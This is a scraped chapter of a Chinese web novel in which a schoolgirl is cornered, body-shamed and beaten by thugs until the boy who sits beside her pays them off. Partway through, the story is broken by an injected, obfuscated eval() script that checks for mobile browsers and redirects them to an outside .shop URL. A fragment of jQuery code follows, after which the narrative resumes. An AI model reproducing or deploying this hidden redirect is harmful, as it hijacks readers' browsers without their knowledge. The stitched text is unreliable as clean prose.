文趣网 > 其他小说 > 和死对头上综艺后成了大热cp > 27. 《主厨的战场》
    这次风波过后,两人的关系急转直下。原本座位中间那条形同虚设的三八线越拉越宽,像一条难以逾越的鸿沟横亘在两人之间。

    从那以后的课间,陆跃很少再待着座位上。下课铃一响座位上就好像安了弹簧装置似的,猛的被按下启动键,人就被弹出去了。仿佛多和谭宁在同一个空间里待上半刻都是一种折辱。

    这也更加印证了先前的事是他故意而为之的猜想。谭宁越想越生气,每每想起那天他在走廊上的态度,委屈就像打开了水龙头似的流个不停。

    她憋着一口气,只好利用小组长的权利蹉跎陆跃,把他折磨得够呛。

    陆跃这个从小到大一直顺风顺水的大少爷自然不会任由她揉圆搓扁,于是明里暗里不配合她的工作,非要看她着急跳脚才满意。

    可人家毕竟打着监督组员的旗号,干什么都名正言顺得多。一来二去的,陆跃看似威风实则也就占些嘴上便宜,还被班主任叫到办公室敲打了好几回。

    眼瞅着谭宁更加春风得意,而他越来越灰头土脸。陆跃身边的那些好兄弟看不下去了,纷纷为他出谋划策。

    那天在网吧里打着游戏,听到陆跃发小聊他这段时间来的悲惨遭遇,就你一言我一语的讨论起对策来。

    “这还不简单!明天我去抓两只毛毛虫来,你放她抽屉里,保准给她吓得眼泪直流!”

    陆跃听着就直摇头,谭宁那猛士能怕毛毛虫就怪了。

    记得有回晚上下雨,又闷又潮,不知道从哪儿飞来一群灰色的飞蛾,很快就占领了教室的墙壁和天花板。

    鸡蛋一般的大小,飞来飞去,让人惊恐十分。写着题目,一抬头看见虫子在作业本上爬,吓得人能当场晕倒。

    教室里惊恐尖叫声不断,大家都是避之不及。谭宁呢,跟个没事人一样,半点反应都没有。

    陆跃当时坐她后面瞧得真真切切,她眼疾手快地把作业本盖上,另一只手拿着书本就往墙上拍。啪啪两声一下子弄死两只飞虫,事后还十分冷静地清理了飞虫的尸体。

    现在想起,虫子被拍瘪时印在白纸上的灰褐色汁液仿佛近在眼前,陆跃握着鼠标的手突然一抖。

    “陆跃你打我干嘛!我是你队友啊!”

    发小噗嗤一声笑出来:“你这出的什么馊主意,陆跃这家伙从小就怕虫。别到时候没吓着人家,把他自己给吓晕了!”

    陆跃脸一黑,骂道:“去你丫的!”

    “陆哥,你要是真的看她不顺眼,明天我让三中那几个兄弟到校门口堵她!保证她以后再也不敢惹你!”

    说话的这个叫瘦猴,他那几个三中的兄弟大家都见过,染着五颜六色的头发,长得就一副凶神恶煞的模样。

    “好主意啊,不过就吓一吓她得了。好歹是女孩,别太过火。”

    “哟,昂哥~这么怜香惜玉啊?”

    “滚啊!你看她那一身腱子肉哪里用得着我怜香惜玉?我是怕到时候她告到教导主任那儿把我们都供出来!”

    ……

    几个人打了阵嘴炮,转过头问陆跃:“怎么样啊陆哥?”

    陆跃盯着电脑屏幕,眼前里却浮现出那道并不瘦弱的身影。就算把她扔进三中那群混混里,也并不见得会落了下风。以她过人的重量和矫健的身手,说不定还能把那群人撂倒。

    想到那副场景,他突然吃吃地笑了出来。

    等着他回话的兄弟们面面相觑:“笑啥啊?行不行?给句准话!”

    被打断的陆跃紧急收回嘴角,皱眉摆了摆手:“算了算了。她也就是嘴上厉害,蹦哒不了几天。”

    “啥意思?就这么算啦?”

    “嗯。”陆跃低头很轻地应了一声,像是怕他们自作主张一样,又说:“我自己的事自己看着办,你们就甭管了。”

    他陆跃堂堂七尺男儿,就为了这点小打小闹让一群混混把个女孩儿给欺负了,传出去还不被人笑话死!

    兄弟瞥他一眼,不怀好意:“哟哟哟~陆跃,突然这么善良,该不会是喜欢上人家了吧?”

    不等大家起哄,陆跃直接吼声制止:“你有病没病?什么话不该说不知道?”

    见他真动了怒,大家都低头不说话了。

    陆跃也就是嘴硬,实际上能屈能伸得很。惹不起还躲不起吗?左不过就是去班主任那儿多喝了几杯茶,他胃口大,多喝几杯也无妨!男子汉大丈夫,这一回让着她而已!

    这事儿在陆跃心里也就这么翻篇了,却没想到自己完全低估了那群人的下限。

    一直以来因为体型的原因,谭宁走在路上都是非常惹人注目的。而她又并不是多么隐忍的性格,背后的闲言碎语她管不着,但若遇到送上门的挑衅,说什么也不会忍气吞声。

    或许就因为这两点,很多人对她的注视里掺杂了若有似无的恶意。

    这份恶意并不明显,自己几乎察觉不到,但落入有心人眼中,就成了可以利用的武器。

    瘦猴是个嘴上不把门的,那天过后就把陆跃的事当笑话说给三中那几个混混听了。

    说者无心,听者有意。几个混混一拍即合,当即约好一起去一中看看这么嚣张的女生到底是何方神圣。

    瘦猴拗不过他们,又记着陆跃的警告,只能提醒:“看看可以,别太过分。招惹来我们学校的老师就不好了。”

    混混们十分不屑地挥了挥手:“怂货!滚一边儿去!”

    那天下午放学后,谭宁照例回家吃饭,刚走出校门没多远就感觉到有人在尾随她。

    拐入一条灰蒙蒙的破旧小巷,身后传来亦步亦趋的脚步声,那沙沙的声音越来越清晰,心脏骤然缩紧,谭宁不自觉加快了步伐。

    越来越快,越来越快,快到几乎已经跑起来了。耳边只剩下呼呼的风声和狂烈的心跳声,就在谭宁以为摆脱了尾随,身前突然覆盖下来一团巨大的黑影。

    她盯着自己的脚尖,指甲几乎要把手心抓破,谭宁下意识转身就要往后跑,却撞上了一堵人墙。

    身前身后都是不怀好意的人,她意识自己已经退无可退。

    谭宁并不认识他们,但从这群人的穿着打扮不难猜出身份。花臂黄毛铆钉,完全符合她对不学无术的刻板印象。

    人多势众,动起手来必定毫无胜算。巷子里空无一人,只有逃跑这一条路可走。

    眼珠提溜一转,瞥到侧面那道豁口。刚迈出去两步,就被一只大手提着衣领抓了回来。

    “啊!”

    坑坑洼洼的一张脸凑到面前,谭宁下意识闭上眼。空气里飘着潮湿的腥气和烟熏过的臭味,对方的呼吸喷洒在脸上,她差点当即呕了出来。

    “跑啊!刚刚不是很能跑吗?怎么不跑了?”

    “你…你们是谁?为…为什么要拦着我?”谭宁毕竟没遇到过这样的事,被五个凶神恶煞的人围着,她突然有些慌张,声线发抖。

    “哟,还是个结巴。”为首的那个朝她逼近,粘黏的目光打量着她,笑容猥琐:“就这?看上去也没有说的那么厉害啊。”

    “什…什么意思?啊!!!”

    身后有人一把扯过她的头发,谭宁被力度带得整个人向后仰去,被拉扯的那一块头皮传来阵阵刺痛。

    “肥猪,知不知道自己惹了谁?”

    从小到大,谭宁被取过很多外号。壮壮、小胖、胖妞……小时候她并不觉得这些外号带有恶意,别人叫她的外号,她也叫别人的。双方都乐乐呵呵的,当个顺口的名字念念罢了。

    等后来长大了,外号逐渐变成了大力丸、人型承重墙、猛妹、结实姐这些。其实并没有什么侮辱性的词汇,可谭宁每次听到都觉得很不舒服。

    她不知道是不是自己太敏感了,明明之前都好好的,可现在总觉得别人在叫这些名字的时候并不友好,甚至是在嘲笑。

    嘲笑什么呢?谭宁低头看了眼自己凸出的小腹和健壮的大腿,那一刻她好像窥得了这个世界阴暗的一角。

    原来,仅仅只是做自己也会引发别人的不满。

    可她明明什么都没做错呀!她只是胖了一点,壮了一点,肉多了一点。但那又怎么了?她从来没抢过别人的饭吃,也从来没有在路上撞过人家。

    这话谭宁只敢在心里对自己说,因为别人也从来没有当面对她表示过恶意。

    但此刻不一样,堵住她的这些人毫不遮掩地叫她肥猪,将一直以来小心隐藏的遮羞布一把拽下,所有的自卑、恐惧、难堪都无处遁形。

    谭宁的眼睛一下子就红了,她拼命忍住了咽喉里即将奔涌而出的冲动,把牙关咬得死死的。

    肩膀被人狠狠推了一下:“说话啊!哑巴了?”

    谭宁说不出话,她知道自己一开口眼泪就会从另一个地方流出来。尽管现在受制于人,她也不愿意显得过分软弱。

    要强的代价是谭宁从没想过的,后背猛的撞向墙壁,她无力地跌坐在地上,天突然黑了。

    “听说了吗?隔壁三中那几个混混今天要整我们学校的人,好像还是个女生。”

    “啊?谁啊?”

    “就高一那个很壮很高的女生。”

    “哦~~是她啊。”

    ……

    陆跃今天出校门出得晚了点,因为上课开小差又被老师留堂了。

    好不容易敷衍过去,等他走到校外的小吃街,几乎每个店里都坐满了人。

    “陆跃!这儿!”发小在里面冲他挥手。

    陆跃穿过人群走进去,心里还在想着来的路上断断续续听到的那些话,他坐下问发小:“刚刚我听别人说三中那群人来了,来干嘛啊?”

    发小猛的拍了下大腿,“你还不知道呢!他们把你那同桌给堵了,就在隔壁那条街!”

    “你说什么?!”

    陆跃蹭的一下站了起来,身手的椅子被推倒在地上。他把椅子扶起来,问:“他们为什么要堵她?”

    “我哪知道?”发小吸溜着面条,抬头看了他一眼:“我还以为是你让人去的呢……”

    “靠!”

    不知为何,陆跃脑海突然浮现出那天在走廊的画面。她梗着脖子,眼眶通红,握着拳的手一直在抖。

    想到可能发生或者正在发生的事,陆跃便再也坐不住了,嗖的一下冲了出去。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557836|203498||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谭宁撑着地面想要站起来,又被一只黢黑的手按下。一个不慎,手肘撞到了墙壁,刺痛瞬间蔓延开来。

    一而再再而三,谭宁终于忍不住喊了出来:“我压根没见过你们,你们到底要干嘛!”

    他们居高临下的看着她,仿佛在看一只掉入陷阱的困兽。

    “你是没见过我们,但我们可知道你。”

    “啧啧,你瞧你这个埋汰样,我要是你连门都不敢出。你倒好,竟然还欺负到我们兄弟头上了!你说你是不是找揍呢?”

    谭宁万万想不到他们口中所说的兄弟会是陆跃,她知道又是自己的身材招来的祸,于是头也越来越低。

    体重和体型就像是挂在身上的一块腐肉,腐肉散发的腥臭气味不断吸引来苍蝇在四周打转,如何也驱赶不走。

    她突然颤抖地发出声音,问出一直以来的困惑:“凭什么?”

    这群人听到她问凭什么,像是听到了什么笑话一般哈哈大笑起来。

    为首的那个用树枝顶着她的肩膀,毛刺陷进肉里:“你说呢死肥猪?长这么胖以后结婚了不得把你老公压死啊哈哈哈……”

    在一片此起彼伏的大笑声中,谭宁只感觉到头晕目眩。流转的下流目光里,她仿佛被他们扒了个干净。胸腔里有一团燃烧的火焰,恨不得把这里的一切都烧个干净。

    谭宁不知道自己哪来的力气,突然一下撑着地面站起来,在惊愕的目光里抬手给了他一巴掌。

    啪!

    那人的脸被打偏过去,一个通红的手印瞬间在脸颊浮现。即便是这样,谭宁也依旧没有感受到一丝痛快,她只想跑,把自己裹得严严实实的逃离这个地方。

    可她先动了手,那些人又怎么会善罢甘休。

    半边脑袋的头发被一把拽住,随后她被像个皮球一样扔了出去。撞击到墙面的那一刻,五脏六腑感觉都被甩了出来。

    被打的那个此刻就站在她面前,抓着她的头发,眼中闪过狠戾。

    “竟然敢打我!你找死吗?”他抡起拳头,眼看着就要落下来。

    “住手!”

    谭宁死死闭着眼,疼痛却没有如想象般到来。

    有人从巷子口跑了过来,喘着粗气。

    “哟。”为首的人认出了他:“陆跃,你来得正好。就是这娘们给你使绊子是不是?老子正要给你出气呢!”

    听到陆跃的名字,谭宁猛然睁开眼,希冀的光在泪眼中打转,却在听到下一句之后瞬间熄灭,她不可置信地看向陆跃。

    陆跃不敢去看她的眼睛,转头对那人说:“保卫处的人来了,还不快走!”

    那些小弟听完之后不免惊慌,马上四散开来要逃走。

    “等等!”为首的人大喊一声,咬牙切齿地看向谭宁:“这女的打了我一嘴巴,今天说什么我都要还回去!”

    说完他的拳头就要越过陆跃朝谭宁砸来。

    这回谭宁连躲都没躲。

    陆跃握住了他的拳头,指尖渐渐收紧,用力到泛白。

    “陆跃,你……”那人不可思议地看向他。

    “是我的问题。”陆跃上前一步,将谭宁挡在身后,“你不是想要我那台PS吗?明天我拿给你,这事儿就算过去了。”

    “什么意思?”他看着陆跃,又看了看他身后的谭宁,笑出声来:“陆跃,你开玩笑的吧?”

    陆跃盯着他,眼神锐利:“我没功夫跟你开玩笑。”

    那人反应了好几秒,终于意识到他是认真的。他松开手,玩味地打量着二人:“搞什么?你要玩英雄救美这套早说啊,害我还替你挨了一巴掌。没看出来,你口味还挺重啊。”

    陆跃听不下去了,一把抓住他衣领:“别得了便宜还卖乖,滚!”

    四目相对,空气里飘过淡淡的火药味。

    最后终究是那人败下阵来,挣脱开陆跃的手,惯性使他向后退了几步。

    “行,明天我在校门口等你。”

    临走前他朝这边吹了个口哨:“陆少,以后还有这种业务记得找我,我给你打折!”

    声音被周围的阴冷空气所吞噬,脚步渐远,小巷又恢复了它的安静。陆跃卸下力气,抬起笨重的脚缓缓转过身,滞涩的对上谭宁的眼神。

    就是那一眼,让他定在了原地。她静静地斜视着他,眼神里盛满幽怨和恨意。

    但不知为何,陆跃从中品出了一丝脆弱和凄苦,令他意识到自己的十恶不赦。

    面前的人被发丝糊住了脸,白色的校服上沾着点点青黑的污渍。膝盖和手肘破了皮,殷红的肉暴露在空气里,往外渗出点点血迹。

    尽管如此,谭宁的腰依旧打得很直,陆跃的头却越垂越低。

    “对……对不起。”

    他盯着自己的脚尖,头一次慌张得不知道说什么做什么。

    良久,他听到空气中飘来一声嗤笑,像块巨大的石头压在他胸上,让他喘不过气来。

    天不知道什么时候阴沉成这样,一副暴雨降至的模样。

    他抬头望去,已然做好接受暴风雨的准备。然而谭宁什么都没说,在他面前转身离去。